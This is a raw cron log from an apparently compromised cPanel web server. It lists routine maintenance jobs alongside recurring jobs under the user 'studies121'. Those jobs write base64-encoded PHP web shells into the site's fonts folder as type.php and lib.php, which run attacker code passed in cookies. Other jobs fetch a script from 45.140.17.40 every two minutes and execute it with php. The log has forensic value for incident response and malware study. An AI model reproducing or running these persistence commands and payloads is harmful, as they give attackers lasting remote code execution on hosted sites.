Sep 21 00:26:01 ip-184-168-122-23 CROND[32381]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 00:26:01 ip-184-168-122-23 CROND[32383]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 00:26:01 ip-184-168-122-23 CROND[32384]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 00:26:01 ip-184-168-122-23 CROND[32387]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 00:26:01 ip-184-168-122-23 CROND[32388]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 00:27:01 ip-184-168-122-23 CROND[32560]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 00:27:01 ip-184-168-122-23 CROND[32562]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 00:27:01 ip-184-168-122-23 CROND[32563]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 00:27:01 ip-184-168-122-23 CROND[32564]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 00:28:01 ip-184-168-122-23 CROND[32663]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 00:28:01 ip-184-168-122-23 CROND[32664]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 00:28:01 ip-184-168-122-23 CROND[32667]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 00:28:01 ip-184-168-122-23 CROND[32668]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 00:28:01 ip-184-168-122-23 CROND[32669]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 00:29:01 ip-184-168-122-23 CROND[32754]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 00:29:01 ip-184-168-122-23 CROND[32755]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 00:29:01 ip-184-168-122-23 CROND[32757]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 00:29:01 ip-184-168-122-23 CROND[32758]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 00:30:01 ip-184-168-122-23 CROND[392]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 00:30:01 ip-184-168-122-23 CROND[395]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 00:30:01 ip-184-168-122-23 CROND[396]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 00:30:01 ip-184-168-122-23 CROND[401]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 00:30:01 ip-184-168-122-23 CROND[402]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 00:30:01 ip-184-168-122-23 CROND[404]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep 21 00:30:01 ip-184-168-122-23 CROND[399]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 00:30:01 ip-184-168-122-23 CROND[406]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 00:30:01 ip-184-168-122-23 CROND[407]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 00:31:01 ip-184-168-122-23 CROND[521]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 00:31:01 ip-184-168-122-23 CROND[524]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 00:31:02 ip-184-168-122-23 CROND[527]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 00:31:02 ip-184-168-122-23 CROND[528]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 00:31:02 ip-184-168-122-23 CROND[525]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 00:32:01 ip-184-168-122-23 CROND[729]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 00:32:01 ip-184-168-122-23 CROND[732]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 00:32:01 ip-184-168-122-23 CROND[731]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 00:32:01 ip-184-168-122-23 CROND[733]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 00:32:01 ip-184-168-122-23 CROND[730]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 00:33:01 ip-184-168-122-23 CROND[831]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 00:33:01 ip-184-168-122-23 CROND[835]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 00:33:01 ip-184-168-122-23 CROND[834]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 00:33:01 ip-184-168-122-23 CROND[833]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 00:34:01 ip-184-168-122-23 CROND[922]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 00:34:01 ip-184-168-122-23 CROND[925]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 00:34:01 ip-184-168-122-23 CROND[929]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 00:34:01 ip-184-168-122-23 CROND[928]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 00:34:01 ip-184-168-122-23 CROND[927]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 00:35:01 ip-184-168-122-23 CROND[1028]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 00:35:01 ip-184-168-122-23 CROND[1030]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 00:35:01 ip-184-168-122-23 CROND[1031]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 00:35:01 ip-184-168-122-23 CROND[1032]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 21 00:35:01 ip-184-168-122-23 CROND[1035]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 00:35:01 ip-184-168-122-23 CROND[1033]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 00:35:01 ip-184-168-122-23 CROND[1034]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 00:35:01 ip-184-168-122-23 CROND[1036]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 00:36:01 ip-184-168-122-23 CROND[1138]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 00:36:01 ip-184-168-122-23 CROND[1140]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 00:36:01 ip-184-168-122-23 CROND[1141]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 00:36:01 ip-184-168-122-23 CROND[1142]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 00:36:01 ip-184-168-122-23 CROND[1143]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 00:37:01 ip-184-168-122-23 CROND[1268]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 00:37:01 ip-184-168-122-23 CROND[1270]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 00:37:01 ip-184-168-122-23 CROND[1269]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 00:37:01 ip-184-168-122-23 CROND[1271]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 00:38:01 ip-184-168-122-23 CROND[1436]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
